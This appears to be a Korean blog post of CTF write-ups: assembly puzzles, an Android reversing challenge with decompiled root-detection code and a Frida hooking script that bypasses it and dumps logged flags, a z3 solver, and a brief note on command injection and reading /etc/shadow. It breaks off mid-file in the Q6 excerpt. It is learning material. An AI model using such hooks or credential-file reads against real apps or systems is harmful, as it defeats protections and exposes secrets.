무슨 CTF였더라.. 대충 재밌었던 Level들만 정리 레벨은 아마 1부터15까지 있었나? 명령어도 한정되어서 재밋엇다..

/*
https://del.dog/asm-hell.txt
Command	Description
MOVE A1 A2	A1 is the amount of steps (can be negative), A2 is the direction (0 for vertical, 1 for horizontal)
WAIT A1	A1 is the amount of cycles to wait
UNLOCK A1	A1 is the key
READ M1	M1 stores the result of tile read instruction
ADD M1 A1 A2	M1 stores the result of A1 + A2
SUB M1 A1 A2	M1 stores the result of A1 - A2
MUL M1 A1 A2	M1 stores the result of A1 * A2
JMP A1	A1 line in code to be jumped to
JMPZ A1 A2	jump to line A1 if A2 is zero
JMPN A1 A2	jump to line A1 if A2 is negative
CMP M1 A1 A2	M1 stores the result of A1 > A2 (B); A1 > A2: 1, A1 = A2: 0, A1 < A2: -1
*/

 

Level 8

여기서 주어진 어셈블리 명령에는 div 연산이 존재하지 않아 직접 만들어줘야한다.

왼쪽에 주어진 숫자를 0번 레지스터에 오른쪽에 주어진 숫자를 1번 레지스터에 넣어준다.

0번 레지스터를 계속 1번 레지스터 값으로 빼준 다음에 0번 레지스터에 저장한다. 이렇게 한번 뺄 때마다 5번 레지스터의 값을 1씩 더해준다. 전체적으로 0번 레지스터를 계속 빼주면서 0번 레지스터의 값이 0이 될 때까지 반복해주면 된다.

그리고 키값은 UNLOCK [5]로 카운팅해준 것으로 풀어주면 된다.

 

Level 12

제일 재밌게 푼 문제이다. 소수판별 문제이다. 우선 c언어로 대충 구상하고 풀었다. 아래 c코드를 옮긴 것이 아래와 같다.

for(int i=2; i<n; i++)
   if(n%i==0) MOVE -1 1;
MOVE -1 1;

/*
0 : n
1 : i = 2 
2 : 사용 안함
3 : n-1
4 : cmp [6] [0] 
5 : cmp [1] [3]
6 : n -> 나머지 연산이 구현되어 있지 않아 [1]로 계속 sub해줌 
*/

 

대회때 거의 다 했는데 Log.d로 출력하는거 못 봐서 아쉽게 마무리 못했던 문제이다.

Hooking해서 풀어도 되고 아니면 그냥 AES Decrypt 해도 됐다.

문제 풀이 과정은 간단하다. 블루스택이나 녹스를 사용할때 루팅으로 후킹해서 문제를 풀려면 루팅체크하는 부분을 우회해서 후킹을 해야한다. 출제자 풀이를 보면 finish 후킹했는데 나는 라이브러리 후킹해서 풀었다. finish 후킹할 생각을 못해서 조금 시간 뺏겼다. 그 이후로는 쉬움!

 

PS. 문제 풀면서 느낀게 jadx보단 jeb가 훨씬 좋다 ㅇㅇ.. (유료가 최고임)

 

MainActivity

package com.hspace.pengsu;

import android.os.Bundle;
import android.util.Log;
import android.view.View.OnClickListener;
import android.view.View;
import android.widget.ImageButton;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import b.b.c.h;
import b.b.c.u;
import c.b.a.a.a;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Random;

public class MainActivity extends h implements View.OnClickListener {
    public int o;
    public Random p;
    public TextView q;
    public ProgressBar r;
    public ImageButton[] s;
    public RootCheck t;
    public static final int[] u;
    public static int v;

    public static {
        MainActivity.u = new int[]{0x7F0800B7, 0x7F0800B8, 0x7F0800B9, 0x7F0800BA, 0x7F0800BB, 0x7F0800BC, 0x7F0800BD, 0x7F0800BE};  // id:ib1
        MainActivity.v = 0;
    }

    public MainActivity() {
        this.o = 0;
        this.p = new Random();
    }

    @Override  // android.view.View$OnClickListener
    public void onClick(View arg5) {
        int v5 = this.p.nextInt(10);
        this.o = v5;
        int v1 = MainActivity.v + v5;
        MainActivity.v = v1;
        if(v1 == 100) {
            try {
                a.a();
            }
            catch(Exception v5_1) {
                v5_1.printStackTrace();
            }
        }

        if(this.o != 3 && this.o != 5 && this.o != 7 && this.o != 9 && this.o != 10) {
            TextView v5_2 = this.q;
            StringBuilder v0 = c.a.a.a.a.f("Pengsu\'s Wallet : ");
            v0.append(MainActivity.v);
            v0.append("$");
            v5_2.setText(v0.toString());
            this.r.setProgress(MainActivity.v);
            return;
        }

        this.r.setProgress(MainActivity.v);
        MainActivity.v = 0;
        TextView v5_3 = this.q;
        StringBuilder v0_1 = c.a.a.a.a.f("Pengsu\'s Wallet : ");
        v0_1.append(MainActivity.v);
        v0_1.append("$");
        v5_3.setText(v0_1.toString());
    }

    @Override  // b.b.c.h
    public void onCreate(Bundle arg6) {
        super.onCreate(arg6);
        this.s = new ImageButton[8];
        this.setContentView(0x7F0B001C);  // layout:activity_main
        this.q = (TextView)this.findViewById(0x7F0801A0);  // id:wallet
        this.findViewById(0x7F0801A1);  // id:wallet2
        this.r = (ProgressBar)this.findViewById(0x7F080128);  // id:progress
        ((u)this.o()).e.setTitle("Make Pengsu earn 100$");
        this.q.setText("Pengsu\'s Wallet : 0");
        int v0;
        for(v0 = 0; v0 < 8; ++v0) {
            this.s[v0] = (ImageButton)this.findViewById(MainActivity.u[v0]);
            this.s[v0].setOnClickListener(this);
        }

        RootCheck v6 = new RootCheck();
        this.t = v6;
        if(!v6.rootCheck()) {
            StringBuffer v2 = new StringBuffer();
            try {
                Process v6_2 = Runtime.getRuntime().exec("ps adbd");
                v6_2.waitFor();
                BufferedReader v3 = new BufferedReader(new InputStreamReader(v6_2.getInputStream()));
                while(true) {
                    String v6_3 = v3.readLine();
                    if(v6_3 == null) {
                        break;
                    }

                    v2.append(v6_3 + "\n");
                }
            }
            catch(Exception v6_1) {
                v6_1.printStackTrace();
            }

            if(v2.toString().indexOf("bad") != -1) {
                Toast.makeText(this, "No Rooted or ADB Process Detected", 1).show();
                Log.d("MainActivity", "Detection Not Rooted or ADB!");
                return;
            }
        }

        Toast.makeText(this, "Detection Rooted or ADB Process!", 1).show();
        Log.d("MainActivity", String.valueOf(this.t.rootCheck()));
        Log.d("MainActivity", "Detection Rooted or ADB Process!");
        this.finish();
    }
}

 

a

package c.b.a.a;

import android.animation.Animator;
import android.animation.AnimatorSet;
import android.animation.ObjectAnimator;
import android.animation.ValueAnimator;
import android.content.Context;
import android.content.res.ColorStateList;
import android.content.res.TypedArray;
import android.graphics.Color;
import android.graphics.PorterDuff.Mode;
import android.graphics.PorterDuffColorFilter;
import android.graphics.drawable.Drawable;
import android.os.Build.VERSION;
import android.util.Base64;
import android.util.Log;
import android.util.TypedValue;
import android.view.View;
import android.view.ViewAnimationUtils;
import android.view.ViewParent;
import b.b.h.x0;
import b.h.j.n;
import c.b.a.a.l.d.b;
import c.b.a.a.l.d.c;
import c.b.a.a.l.d.e;
import c.b.a.a.l.d;
import c.b.a.a.v.g;
import c.b.a.a.v.i;
import com.hspace.pengsu.MainActivity;
import com.hspace.pengsu.RootCheck;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.security.MessageDigest;
import java.util.List;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public final class a {
    public static RootCheck a;

    public static void a() {
        a.a = new RootCheck();
        MainActivity v0 = new MainActivity();
        if(a.a.rootCheck()) {
        label_43:
            Log.d("CipherAlgorithm", String.valueOf(a.a.rootCheck()));
            Log.d("CipherAlgorithm", "Please follow the game rules");
            v0.finish();
        }
        else {
            StringBuffer v3 = new StringBuffer();
            try {
                Process v1_1 = Runtime.getRuntime().exec("ps adbd");
                v1_1.waitFor();
                BufferedReader v4 = new BufferedReader(new InputStreamReader(v1_1.getInputStream()));
                while(true) {
                    String v1_2 = v4.readLine();
                    if(v1_2 == null) {
                        break;
                    }

                    v3.append(v1_2 + "\n");
                }
            }
            catch(Exception v1) {
                v1.printStackTrace();
            }

            if(v3.toString().indexOf("bad") == -1) {
                goto label_43;
            }

            Log.d("CipherAlgorithm", "Detection Not Rooted or ADB!");
        }

        String v1_3 = RootCheck.a();
        "hello android world!".getBytes("UTF-8");
        byte[] v0_1 = "hello android world!".getBytes();
        MessageDigest v5 = MessageDigest.getInstance("MD5");
        v5.update("SOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEER".getBytes());
        byte[] v5_1 = v5.digest();
        MessageDigest v6 = MessageDigest.getInstance("SHA-256");
        v6.update(v1_3.getBytes());
        byte[] v6_1 = v6.digest();
        IvParameterSpec v7 = new IvParameterSpec(v5_1);
        SecretKeySpec v5_2 = new SecretKeySpec(v6_1, "AES");
        Cipher v6_2 = Cipher.getInstance("AES/CBC/PKCS5Padding");
        v6_2.init(1, v5_2, v7);
        byte[] v0_2 = v6_2.doFinal(v0_1);
        if(MainActivity.v == 100) {
            Log.d("CipherAlgorithm", " Decrypt Cipher : " + new String(a.d(v1_3, v1_3, Base64.decode("zem8Qf+nUSVM8gsOgKiEeZ+OPRR9EKu76gEjg2eYf4MdXK9wAXrCeTQ9r1CpWcMu".getBytes("UTF-8"), 0)), "UTF-8"));
        }
        else {
            android.os.Process.killProcess(android.os.Process.myPid());
        }

        a.d("SOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEERSOJUBEER", v1_3, v0_2);
    }

    public static Animator b(d arg6, float arg7, float arg8, float arg9) {
        ObjectAnimator v0 = ObjectAnimator.ofObject(arg6, c.a, b.b, new e[]{new e(arg7, arg8, arg9)});
        if(Build.VERSION.SDK_INT >= 21) {
            e v1 = arg6.getRevealInfo();
            if(v1 != null) {
                Animator v6 = ViewAnimationUtils.createCircularReveal(((View)arg6), ((int)arg7), ((int)arg8), v1.c, arg9);
                AnimatorSet v7 = new AnimatorSet();
                v7.playTogether(new Animator[]{v0, v6});
                return v7;
            }

            throw new IllegalStateException("Caller must set a non-null RevealInfo before calling this.");
        }

        return v0;
    }

    public static c.b.a.a.v.d c(int arg1) {
        return arg1 != 0 && arg1 == 1 ? new c.b.a.a.v.e() : new i();
    }

    public static byte[] d(String arg2, String arg3, byte[] arg4) {
        MessageDigest v0 = MessageDigest.getInstance("MD5");
        v0.update(arg2.getBytes());
        byte[] v2 = v0.digest();
        MessageDigest v0_1 = MessageDigest.getInstance("SHA-256");
        v0_1.update(arg3.getBytes());
        byte[] v3 = v0_1.digest();
        IvParameterSpec v0_2 = new IvParameterSpec(v2);
        SecretKeySpec v2_1 = new SecretKeySpec(v3, "AES");
        Cipher v3_1 = Cipher.getInstance("AES/CBC/PKCS5Padding");
        v3_1.init(2, v2_1, v0_2);
        return v3_1.doFinal(arg4);
    }

    public static float e(float arg0, float arg1, float arg2, float arg3) {
        return (float)Math.hypot(((double)(arg2 - arg0)), ((double)(arg3 - arg1)));
    }

    public static int f(Context arg0, int arg1, int arg2) {
        TypedValue v0 = a.r(arg0, arg1);
        return v0 == null ? arg2 : v0.data;
    }

    public static int g(View arg1, int arg2) {
        return a.t(arg1.getContext(), arg2, arg1.getClass().getCanonicalName());
    }

    public static ColorStateList h(Context arg1, TypedArray arg2, int arg3) {
        if(arg2.hasValue(arg3)) {
            int v0 = arg2.getResourceId(arg3, 0);
            if(v0 != 0) {
                ColorStateList v1 = b.b.d.a.a.a(arg1, v0);
                return v1 == null ? arg2.getColorStateList(arg3) : v1;
            }
        }

        return arg2.getColorStateList(arg3);
    }

    public static ColorStateList i(Context arg2, x0 arg3, int arg4) {
        if(arg3.b.hasValue(arg4)) {
            int v0 = arg3.b.getResourceId(arg4, 0);
            if(v0 != 0) {
                ColorStateList v2 = b.b.d.a.a.a(arg2, v0);
                return v2 == null ? arg3.c(arg4) : v2;
            }
        }

        return arg3.c(arg4);
    }

    public static Drawable j(Context arg1, TypedArray arg2, int arg3) {
        if(arg2.hasValue(arg3)) {
            int v0 = arg2.getResourceId(arg3, 0);
            if(v0 != 0) {
                Drawable v1 = b.b.d.a.a.b(arg1, v0);
                return v1 == null ? arg2.getDrawable(arg3) : v1;
            }
        }

        return arg2.getDrawable(arg3);
    }

    public static boolean k(Context arg1) {
        return arg1.getResources().getConfiguration().fontScale >= 1.3f;
    }

    public static boolean l(Context arg1) {
        return arg1.getResources().getConfiguration().fontScale >= 2f;
    }

    public static boolean m(View arg1) {
        return n.m(arg1) == 1;
    }

    public static int n(int arg1, int arg2, float arg3) {
        return b.h.d.a.a(b.h.d.a.c(arg2, Math.round(((float)Color.alpha(arg2)) * arg3)), arg1);
    }

    public static float o(float arg1, float arg2, float arg3) {
        return arg3 * arg2 + (1f - arg3) * arg1;
    }

    public static PorterDuff.Mode p(int arg1, PorterDuff.Mode arg2) {
        if(arg1 != 3) {
            if(arg1 != 5) {
                if(arg1 != 9) {
                    switch(arg1) {
                        case 14: {
                            break;
                        }
                        case 15: {
                            return PorterDuff.Mode.SCREEN;
                        }
                        case 16: {
                            return PorterDuff.Mode.ADD;
                        }
                        default: {
                            return arg2;
                        }
                    }

                    return PorterDuff.Mode.MULTIPLY;
                }

                return PorterDuff.Mode.SRC_ATOP;
            }

            return PorterDuff.Mode.SRC_IN;
        }

        return PorterDuff.Mode.SRC_OVER;
    }

    public static void q(AnimatorSet arg10, List arg11) {
        int v0 = arg11.size();
        long v2 = 0L;
        int v4;
        for(v4 = 0; v4 < v0; ++v4) {
            Animator v5 = (Animator)arg11.get(v4);
            long v6 = v5.getStartDelay();
            v2 = Math.max(v2, v5.getDuration() + v6);
        }

        ValueAnimator v0_1 = ValueAnimator.ofInt(new int[]{0, 0});
        v0_1.setDuration(v2);
        arg11.add(0, v0_1);
        arg10.playTogether(arg11);
    }

    public static TypedValue r(Context arg2, int arg3) {
        TypedValue v0 = new TypedValue();
        return arg2.getTheme().resolveAttribute(arg3, v0, true) ? v0 : null;
    }

    public static boolean s(Context arg1, int arg2, boolean arg3) {
        TypedValue v1 = a.r(arg1, arg2);
        return v1 != null && v1.type == 18 ? v1.data != 0 : arg3;
    }

    public static int t(Context arg3, int arg4, String arg5) {
        TypedValue v0 = a.r(arg3, arg4);
        if(v0 != null) {
            return v0.data;
        }

        throw new IllegalArgumentException(String.format("%1$s requires a value for the %2$s attribute to be set in your app theme. You can either set the attribute in your theme or update your theme to inherit from Theme.MaterialComponents (or a descendant).", arg5, arg3.getResources().getResourceName(arg4)));
    }

    public static void u(View arg2, float arg3) {
        Drawable v2 = arg2.getBackground();
        if((v2 instanceof g)) {
            g v2_1 = (g)v2;
            c.b.a.a.v.g.b v0 = v2_1.b;
            if(v0.o != arg3) {
                v0.o = arg3;
                v2_1.w();
            }
        }
    }

    public static void v(View arg2, g arg3) {
        if(arg3.b.b != null && (arg3.b.b.a)) {
            ViewParent v2 = arg2.getParent();
            float v0 = 0f;
            while((v2 instanceof View)) {
                v0 += n.k(((View)v2));
                v2 = v2.getParent();
            }

            c.b.a.a.v.g.b v2_1 = arg3.b;
            if(v2_1.n != v0) {
                v2_1.n = v0;
                arg3.w();
            }
        }
    }

    public static PorterDuffColorFilter w(Drawable arg1, ColorStateList arg2, PorterDuff.Mode arg3) {
        return arg2 == null || arg3 == null ? null : new PorterDuffColorFilter(arg2.getColorForState(arg1.getState(), 0), arg3);
    }
}

 

RootCheck

package com.hspace.pengsu;

public class RootCheck {
    public static {
        System.loadLibrary("native-lib");
    }

    public static native String a() {
    }

    public native boolean rootCheck() {
    }
}

 

Java_com_hspace_pengsu_RootCheck_rootCheck

__int64 __fastcall Java_com_hspace_pengsu_RootCheck_rootCheck()
{
  unsigned int v0; // ebx

  if ( !access("/sbin/su", 0)
    || !access("/system/su", 0)
    || !access("/system/sbin/su", 0)
    || !access("/system/xbin/su", 0)
    || !access("/data/data/com.example.demoapp.su", 0)
    || !access("/system/app/Superuser.apk", 0)
    || !access("/system/bin/su", 0)
    || !access("/system/bin/.ext/.su", 0)
    || !access("/system/usr/we-need-root/su-backup", 0)
    || (v0 = 0, !access("/system/xbin/mu", 0)) )
  {
    __android_log_print(6LL, "C++", "There is a suspected rooting file.");
    LOBYTE(v0) = 1;
  }
  return v0;
}

 

 

Java_com_hspace_pengsu_RootCheck_a

__int64 __fastcall Java_com_hspace_pengsu_RootCheck_a(__int64 a1)
{
  char *v1; // rbp
  unsigned __int8 v2; // bl
  unsigned __int64 v3; // rdx
  char *v4; // rsi
  char *v5; // rsi
  char *v6; // rsi
  __int64 v7; // rax
  __int64 v8; // rcx
  unsigned __int64 v9; // rdx
  __int64 v10; // rax
  __int64 v11; // rcx
  unsigned __int8 v12; // bl
  char *v13; // r12
  unsigned int v14; // ebp
  __int64 v15; // r14
  __int64 v16; // rax
  int v17; // ebx
  int v18; // ebp
  int v19; // eax
  int v20; // er8
  int v21; // er9
  int v22; // ebx
  __int64 v23; // rbp
  int v24; // eax
  int v25; // er9
  __int64 v26; // rbx
  unsigned __int8 v28; // [rsp+8h] [rbp-A0h] BYREF
  char v29; // [rsp+9h] [rbp-9Fh] BYREF
  unsigned int v30; // [rsp+10h] [rbp-98h]
  void *v31; // [rsp+18h] [rbp-90h]
  __int128 v32; // [rsp+20h] [rbp-88h] BYREF
  void *v33; // [rsp+30h] [rbp-78h]
  __int128 v34; // [rsp+40h] [rbp-68h] BYREF
  void *v35; // [rsp+50h] [rbp-58h]
  __int128 v36; // [rsp+60h] [rbp-48h] BYREF
  void *ptr; // [rsp+70h] [rbp-38h]
  unsigned __int64 v38; // [rsp+78h] [rbp-30h]

  v38 = __readfsqword(0x28u);
  ptr = (void *)operator new(0x20uLL);
  v36 = xmmword_40750;
  strcpy((char *)ptr, "\b!0ASD%/!7!'19-az13FZ9(=(-\"!");
  v35 = (void *)operator new(0x20uLL);
  v34 = xmmword_40720;
  strcpy((char *)v35, "\b$003Z#/AZOQ()*7-az13FZ9(*-\"!");
  v33 = (void *)operator new(0x20uLL);
  v32 = xmmword_40670;
  strcpy((char *)v33, "\b!0c7)%/!7!'16-0=% %-(=(-\"!");
  v1 = (char *)&v32 + 1;
  v2 = 33;
  v3 = 0LL;
  while ( (v2 & 1) == 0 )
  {
    v4 = (char *)&v32 + 1;
    if ( v3 >= v2 >> 1 )
      goto LABEL_12;
LABEL_8:
    v4[v3] ^= 0x44u;
    v5 = (char *)&v36 + 1;
    if ( (v36 & 1) != 0 )
      v5 = (char *)ptr;
    v5[v3] ^= 0x44u;
    v6 = (char *)&v34 + 1;
    if ( (v34 & 1) != 0 )
      v6 = (char *)v35;
    v6[v3++] ^= 0x44u;
    v2 = v32;
  }
  if ( *((_QWORD *)&v32 + 1) > v3 )
  {
    v4 = (char *)v33;
    goto LABEL_8;
  }
LABEL_12:
  v7 = std::__put_character_sequence<char,std::char_traits<char>>(
         &std::cout,
         "standard time starting",
         22LL,
         (char *)&v34 + 1);
  if ( (v32 & 1) != 0 )
  {
    v1 = (char *)v33;
    v9 = *((_QWORD *)&v32 + 1);
  }
  else
  {
    v9 = (unsigned __int64)(unsigned __int8)v32 >> 1;
  }
  v10 = std::__put_character_sequence<char,std::char_traits<char>>(v7, v1, v9, v8);
  std::__put_character_sequence<char,std::char_traits<char>>(v10, "\n", 1LL, v11);
  std::string::basic_string(&v28, &v32);
  v12 = v28;
  v13 = (char *)v31;
  if ( (v28 & 1) != 0 )
    v14 = v30;
  else
    v14 = v28 >> 1;
  v15 = (*(__int64 (__fastcall **)(__int64, _QWORD))(*(_QWORD *)a1 + 1408LL))(a1, v14);
  if ( (v12 & 1) == 0 )
    v13 = &v29;
  (*(void (__fastcall **)(__int64, __int64, _QWORD, _QWORD, char *))(*(_QWORD *)a1 + 1664LL))(a1, v15, 0LL, v14, v13);
  v16 = (*(__int64 (__fastcall **)(__int64, const char *))(*(_QWORD *)a1 + 48LL))(a1, "java/nio/charset/Charset");
  v17 = v16;
  v18 = (*(__int64 (__fastcall **)(__int64, __int64, const char *, const char *))(*(_QWORD *)a1 + 904LL))(
          a1,
          v16,
          "forName",
          "(Ljava/lang/String;)Ljava/nio/charset/Charset;");
  v19 = (*(__int64 (__fastcall **)(__int64, const char *))(*(_QWORD *)a1 + 1336LL))(a1, "UTF-8");
  v22 = _JNIEnv::CallStaticObjectMethod(a1, v17, v18, v19, v20, v21);
  v23 = (*(__int64 (__fastcall **)(__int64, const char *))(*(_QWORD *)a1 + 48LL))(a1, "java/lang/String");
  v24 = (*(__int64 (__fastcall **)(__int64, __int64, const char *, const char *))(*(_QWORD *)a1 + 264LL))(
          a1,
          v23,
          "<init>",
          "([BLjava/nio/charset/Charset;)V");
  v26 = _JNIEnv::NewObject(a1, v23, v24, v15, v22, v25);
  if ( (v28 & 1) != 0 )
  {
    operator delete(v31);
    if ( (v32 & 1) != 0 )
      goto LABEL_27;
LABEL_22:
    if ( (v34 & 1) == 0 )
      goto LABEL_23;
LABEL_28:
    operator delete(v35);
    if ( (v36 & 1) != 0 )
LABEL_24:
      operator delete(ptr);
  }
  else
  {
    if ( (v32 & 1) == 0 )
      goto LABEL_22;
LABEL_27:
    operator delete(v33);
    if ( (v34 & 1) != 0 )
      goto LABEL_28;
LABEL_23:
    if ( (v36 & 1) != 0 )
      goto LABEL_24;
  }
  return v26;
}

 

Exploit code

// com.hspace.pengsu

setTimeout(function(){
	setImmediate(function(){
		Interceptor.attach(Module.findExportByName("libnative-lib.so","Java_com_hspace_pengsu_RootCheck_rootCheck"),{
		    onEnter: function(args){
		        console.log('[*] rooting');
		    },
		    onLeave: function(ret){
		    	console.log(ret);
		    	return 0x0;
		    }
		});

		Java.perform(function(){
			var log = Java.use('android.util.Log');
			log.d.overload('java.lang.String','java.lang.String').implementation = function(a,b){
				console.log('[*]FLAG : ' + a.toString() + ", " + b.toString());
				return this.d(a,b);
			}
		});


		Java.perform(function(){
		    console.warn("[*] 1");
		    var s = Java.use('com.hspace.pengsu.MainActivity');
		    s.v.value = 100;
		    console.log(s.v.value);
		});

		Java.perform(function(){
			var d = Java.use('com.hspace.pengsu.RootCheck');
			d.rootCheck.implementation = function(){
				var retv = this.rootCheck();
				console.log(retv);
				return false;
			}
		});
	});
}, 1000);

 

펭수 귀엽다.

끝!

FLAG : hspace{Vu!lner0able_9an13d0ro6id_1a3p3p1}

 

 

  1. ugonfor 2021.06.23 23:45 신고

    와!

Q1

웹 문제인데 Super Super Guessing Chall.. 대충 요약하자면 QR Code Recovery + No Cookie Send Data + Command Injection + /etc/shadow + /etc/passwd + Login Account 이정도....

FLAG : h39dmxieYdne

Q2

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int Solution(unsigned int *data)
{

        if ( 316 * data[0]
     - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ){
                if ( 754 * data[0]
                     + 103 * data[1]
                     - 230 * data[2]
                     + 359 * data[3]
                     - 516 * data[4]
                     + 133 * data[5]
                     - 16 * data[6]
                     - 500 * data[7]
                     - 343 * data[8]
                     + 980 * data[9] == 31039 ){
                        if ( 641 * data[0]
                             +262 * data[1]
                             - 415 * data[2]
                             - 889 * data[3]
                             + 621 * data[4]
                             - 855 * data[5]
                             - 818 * data[6]
                             - 785 * data[7]
                             - 866 * data[8]
                             - 799 * data[9]== -262955 ){
                                if ( 473 * data[0]
                                 - 57 * data[1]
                                 - 477 * data[2]
                                 + 164 * data[3]
                                 - 22 * data[4]
                                 - 865 * data[5]
                                 - 784 * data[6]
                                 - 768 * data[7]
                                 + 416 * data[8]
                                - 121 * data[9]== -180990){
                                        if ( 944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060 ){
                                                if ( 597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022){
                                                        if (164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791){
                                                                if (301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199){
                                                                 if (703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454){
                                                                 if (207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ){


                                                                 return 1;

                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                }
                                                                else
                                                                {
                                                                }
                                                        }
                                                        else
                                                        {
                                                        }
                                                }
                                                else
                                                {
                                                }
                                        }
                                        else
                                        {
                                        }
                                }
                                else
                                {
                                }
                        }
                        else
                        {
                        }

        return 0;
}

int main(){
        unsigned int data[10];

    puts(" ** enjoy **");
        fflush(stdin);
        int i; 
        for (i = 0; i < sizeof(data)/sizeof(int); i++) {
                printf(" Input[%d] : ", i);
                fflush(stdin);
                scanf("%u", &data[i]);
        }

        if ( (unsigned int)Solution(data) ) {

            printf(" [+] flag {%c%c%c%c%c%c%c%c%c%c}\n", data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9]);
        }
        else {
                puts(" [-] nope!!");
        }
        return 0;
}

Ez

from z3 import *

s = Solver()
data = [BitVec('a%i'%i,8)for i in range(10)]

s.add(( 316 * data[0]
     - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ))

s.add(( 754 * data[0]
                     + 103 * data[1]
                     - 230 * data[2]
                     + 359 * data[3]
                     - 516 * data[4]
                     + 133 * data[5]
                     - 16 * data[6]
                     - 500 * data[7]
                     - 343 * data[8]
                     + 980 * data[9] == 31039 ))
s.add(641 * data[0]
                             +262 * data[1]
                             - 415 * data[2]
                             - 889 * data[3]
                             + 621 * data[4]
                             - 855 * data[5]
                             - 818 * data[6]
                             - 785 * data[7]
                             - 866 * data[8]
                             - 799 * data[9]== -262955)
s.add(( 473 * data[0]
                                 - 57 * data[1]
                                 - 477 * data[2]
                                 + 164 * data[3]
                                 - 22 * data[4]
                                 - 865 * data[5]
                                 - 784 * data[6]
                                 - 768 * data[7]
                                 + 416 * data[8]
                                - 121 * data[9]== -180990))
s.add(944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060)
s.add(597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022)
s.add((164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791))
s.add((301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199))
s.add((703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454))
s.add((207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ))
print s.check()
m = s.model()
print m
print ''.join(chr(int(str(m.evaluate(data[i])))) for i in range(10))

FLAG : hello\0o0/

Q3

암호학 Diffie-Hellman 문제였다.

FLAG :

Q4

Chrome Extension 파일을 주는데 파일 추출하면 flag1.exe, flag2.exe, flag3.exe랑 암호화된 문자를 저장한 파일들이 나온다. python으로 만든 exe라 추출하려 했는데 실패했다.. 아쉬움

FLAG :

Q5

PPTX Format Problem? 아마.. 문제를 안봄 Guessing 같아서..

FLAG :

Q6

예선에서 나왔던 가위바위보 1000번 이기는 문제랑 유사하다.. WireShark Packet에서 ftp-data 추출하면 python exe가 나와서 추출하면 아래와 같이 나온다.

# Embedded file name: client.py
import Tkinter as tk
import tkMessageBox
import socket
from time import sleep
import threading
your_name = ''
opponent_name = ''
game_round = 0
game_timer = 4
your_choice = ''
opponent_choice = ''
TOTAL_NO_OF_ROUNDS = 1000
client = None
flag = None
